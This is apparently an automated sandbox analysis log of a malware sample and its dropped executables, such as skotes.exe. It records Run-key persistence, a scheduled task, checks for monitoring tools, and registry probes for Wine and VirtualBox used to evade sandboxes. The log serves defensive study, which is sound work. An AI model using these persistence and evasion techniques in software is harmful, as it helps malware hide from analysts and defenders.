Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File created: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9c8810ba8c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3cbc500e8f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c74ef7bd5d.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3cbc500e8f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3cbc500e8f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c74ef7bd5d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c74ef7bd5d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9c8810ba8c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9c8810ba8c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
